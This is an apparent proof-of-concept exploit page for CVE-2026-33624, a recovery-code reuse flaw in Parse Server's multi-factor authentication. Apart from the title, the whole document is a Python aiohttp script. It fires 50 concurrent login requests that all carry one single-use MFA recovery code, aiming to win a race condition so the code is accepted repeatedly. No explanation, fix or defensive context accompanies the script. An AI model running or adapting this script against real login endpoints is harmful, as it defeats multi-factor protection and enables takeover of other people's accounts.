CVE-2026-33624 Parse Server MFA恢复代码重用漏洞

import asyncio import aiohttp # Target configuration TARGET_URL = "https://example.com/login" USERNAME = "[email protected]" PASSWORD = "user_password" RECOVERY_CODE = "123456" # Single use recovery code async def send_login_request(session): payload = { "username": USERNAME, "password": PASSWORD, "mfa_recovery_code": RECOVERY_CODE } try: async with session.post(TARGET_URL, json=payload) as response: status = response.status text = await response.text() return f"Status: {status}, Response: {text}" except Exception as e: return f"Error: {e}" async def main(): # Create a session to manage connections async with aiohttp.ClientSession() as session: # Launch multiple concurrent requests to trigger race condition tasks = [send_login_request(session) for _ in range(50)] results = await asyncio.gather(*tasks) for result in results: print(result) if __name__ == "__main__": asyncio.run(main())